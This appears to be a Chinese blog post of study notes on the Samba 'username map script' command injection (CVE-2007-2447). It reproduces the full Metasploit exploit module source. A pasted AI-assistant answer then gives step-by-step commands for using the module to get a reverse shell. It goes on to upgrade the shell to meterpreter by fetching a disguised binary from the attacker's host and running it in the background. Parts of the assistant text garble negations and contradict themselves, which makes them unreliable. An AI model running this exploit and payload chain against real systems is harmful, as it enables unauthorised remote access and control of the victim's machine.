Metasploit usermap_script漏洞相关笔记

usermap_script:CVE-2007-2447

Samba用户名映射脚本命令执行

这个模块利用漏洞执行命令,在Samba版本3.0.20到3.0.25rc3当使用非默认用户名映射脚本配置选项。
通过指定一个用户名包含shell元字符,攻击者可以执行任意命令。
不需要身份验证来利用此漏洞,因为此选项用于在身份验证之前映射用户名!

模块的位置
exploit/multi/samba/usermap_script

用户输入未转义的参数作为参数传递到/bin/sh,允许远程命令执行

此错误最初是针对匿名呼叫报告的

到SamrChangePassword() MS-RPC函数组合与“用户名映射脚本”smb.conf选项(这不是
默认启用)。

经过Samba开发者的进一步调查,结果是确定了问题更广泛和影响远程打印机和文件共享管理。 根原因是传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中。
然而,不同于"username map script"漏洞,远程文件和打印机管理脚本需要经过身份验证的用户会话。

漏洞的时间线:

  • 2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
  • 2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
  • 2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
  • 2007年5月10日:向vendor-sec邮件列表发布通知。
  • 2007年5月14日:公开漏洞信息。

下面我们来看看usermap_srcipt.rb这个exploitd 原理
这是源代码,用ruby写的

##
# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# 这个和Python的import还要C的include一样的作用
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
# Metasploit3是从Msf::Exploit::Remote中继承的

    Rank = ExcellentRanking

    include Msf::Exploit::Remote::SMB

    # For our customized version of session_setup_ntlmv1
    CONST = Rex::Proto::SMB::Constants
    CRYPT = Rex::Proto::SMB::Crypt

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Samba "username map script" Command Execution',
            'Description'    => %q{
                    This module exploits a command execution vulerability in Samba
                versions 3.0.20 through 3.0.25rc3 when using the non-default
                "username map script" configuration option. By specifying a username
                containing shell meta characters, attackers can execute arbitrary
                commands.

                No authentication is needed to exploit this vulnerability since
                this option is used to map usernames prior to authentication!
            },
            'Author'         => [ 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10040 $',
            'References'     =>
                [
                    [ 'CVE', '2007-2447' ],
                    [ 'OSVDB', '34700' ],
                    [ 'BID', '23972' ],
                    [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
                    [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Privileged'     => true, # root or nobody user
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            # *_perl and *_ruby work if they are installed
                            # mileage may vary from system to system..
                        }
                },
            'Targets'        =>
                [
                    [ "Automatic", { } ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'May 14 2007'))

        register_options(
            [
                Opt::RPORT(139)
            ], self.class)
    end


    def exploit

        connect

        # lol?
        username = "/=`nohup " + payload.encoded + "`"
        begin
            simple.client.negotiate(false)
            simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
        rescue ::Timeout::Error, XCEPT::LoginError
            # nothing, it either worked or it didn't ;)
        end

        handler
    end

end

好吧ruby看不太懂哈哈,以后再来研究这段代码吧

<think>我们正在处理的问题是:在使用`exploit/multi/samba/usermap_script`漏洞利用模块时,设置payload为`linux/x64/meterpreter/reverse_tcp`时提示无效。 根据引用[2]中的内容: ``` msf6 auxiliary(scanner/smb/smb_version) > use exploit/multi/samba/usermap_script [*] No payload configured, defaulting to cmd/unix/reverse_netcat msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.3.54 RHOSTS => 192.168.3.54 msf6 exploit(multi/samba/usermap_script) > exploit ``` 这里注意,当我们使用`exploit/multi/samba/usermap_script`模块时,默认的payload是`cmd/unix/reverse_netcat`。这暗示了该漏洞利用模块可能只支持特定类型的payload,特别是针对Unix系统的命令payload(cmd/unix类型),而支持meterpreter payload。 因此,原因可能是:`exploit/multi/samba/usermap_script`模块支持使用`linux/x64/meterpreter/reverse_tcp`这样的meterpreter payload。我们需要查看该模块支持的payload列表。 ### 解决步骤 1. **进入模块并查看支持的payload**: 在Metasploit中,使用`show payloads`命令可以查看当前模块支持的payload列表。 ```bash msf6 > use exploit/multi/samba/usermap_script msf6 exploit(multi/samba/usermap_script) > show payloads ``` 这将列出所有可用的payload,它们应该都是与Unix系统兼容的。 2. **选择合适的payload**: 根据引用[2]中的提示,默认的payload是`cmd/unix/reverse_netcat`,说明该模块支持的是命令执行类型的payload,而是meterpreter。因此,我们应该选择类似`cmd/unix/reverse_netcat`的payload,或者根据实际需要选择其他可用的Unix命令payload。 例如,我们可以设置: ```bash set payload cmd/unix/reverse_netcat ``` 或者,如果我们想要一个反向shell,也可以选择其他可用的payload,比如`cmd/unix/reverse_bash`等。 3. **设置参数并执行**: 设置好payload后,需要设置必要的参数,如`RHOSTS`(目标IP),`LHOST`(监听IP)和`LPORT`(监听端口),然后执行`exploit`。 ### 示例流程 ```bash # 启动Metasploit msfconsole # 使用漏洞利用模块 use exploit/multi/samba/usermap_script # 查看可用的payload(可选,用于确认) show payloads # 设置payload(选择一个可用的,比如默认的reverse_netcat) set payload cmd/unix/reverse_netcat # 设置目标主机 set RHOSTS <目标IP> # 设置监听主机(即攻击机IP) set LHOST <攻击机IP> # 设置监听端口 set LPORT 4444 # 执行攻击 exploit ``` ### 注意事项 - 由于该漏洞利用模块是针对Samba服务的,且该漏洞允许执行任意命令,因此payload必须是命令类型的,而是meterpreter。 - 如果确实需要meterpreter会话,我们可以考虑在获得命令执行权限后,再通过其他方式(例如,上传并执行一个meterpreter的stager)来获得meterpreter会话。但是,这需要目标系统满足运行meterpreter的条件(如架构、依赖库等)。 ### 相关问题 1. 如何查看Metasploit模块支持的payload列表? 2. 使用`exploit/multi/samba/usermap_script`模块时,为什么只能选择cmd/unix类型的payload? 3. 如何在获得普通shell后升级到meterpreter会话? 4. 生成Linux反向TCP shellmsfvenom命令是什么? 5. 如何利用Samba usermap_script漏洞在目标系统上执行任意命令? [^2]: 引用内容:使用`exploit/multi/samba/usermap_script`模块时默认payload为`cmd/unix/reverse_netcat` </think>### 解决 `exploit/multi/samba/usermap_script` 模块中 payload 无效问题 #### 问题分析 当您在 `exploit/multi/samba/usermap_script` 模块中设置 `linux/x64/meterpreter/reverse_tcp` payload 时出现无效提示,核心原因是 **该漏洞利用模块仅支持特定类型的 payload**。根据引用[2]的信息: > `msf6 exploit(multi/samba/usermap_script) > set payload...[*] No payload configured, defaulting to cmd/unix/reverse_netcat` [^2] 这表明该模块: 1. **仅兼容 Unix 命令型 payload**(如 `cmd/unix/` 类型) 2. **支持 meterpreter payload**(如 `linux/x64/meterpreter/`) 3. **默认使用 `cmd/unix/reverse_netcat`** 作为标准 payload #### 解决方案 ##### 步骤 1:查看兼容 payload ```bash msf6 > use exploit/multi/samba/usermap_script msf6 exploit(multi/samba/usermap_script) > show payloads ``` 输出示例: ``` Compatible Payloads ================== Name Disclosure Date Rank Check Description ---- --------------- ---- ----- ----------- cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl) cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6 cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (netcat) cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet) ``` ##### 步骤 2:选择有效 payload(推荐方案) ```bash # 标准反向Shell(需目标安装netcat) set payload cmd/unix/reverse_netcat # 替代方案(使用Bash内置功能) set payload cmd/unix/reverse_bash # 设置监听参数 set LHOST 192.168.1.100 # 您的攻击机IP set LPORT 4444 # 监听端口 ``` ##### 步骤 3:执行攻击 ```bash # 设置目标IP set RHOSTS 192.168.1.50 # 执行攻击 exploit ``` 成功后将获得 Unix 命令 Shell(非 meterpreter)。 #### 进阶替代方案 如需 meterpreter 会话: 1. **先获取基础 Shell** 使用上述 `cmd/unix/reverse_netcat` 获得初始访问权限 2. **升级到 meterpreter** 在获得的 Shell 中执行: ```bash # 下载meterpreter加载器 wget http://<您的IP>/linux_x64_meterpreter.elf -O /tmp/.update # 添加执行权限 chmod +x /tmp/.update # 后台执行 nohup /tmp/.update & ``` 3. **在 Metasploit 中监听 meterpreter** ```bash use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 5555 # 使用新端口 exploit ``` #### 技术原理 `usermap_script` 漏洞(CVE-2007-2447)本质是通过 Samba 的 `username map script` 参数实现**命令注入**。其利用特点: 1. 漏洞触发点仅支持直接命令执行 2. 无法直接加载复杂的二进制 payload 3. 输出管道限制(只能捕获标准输出) 因此 meterpreter 等需要建立加密双向通信的 payload 无法直接应用[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值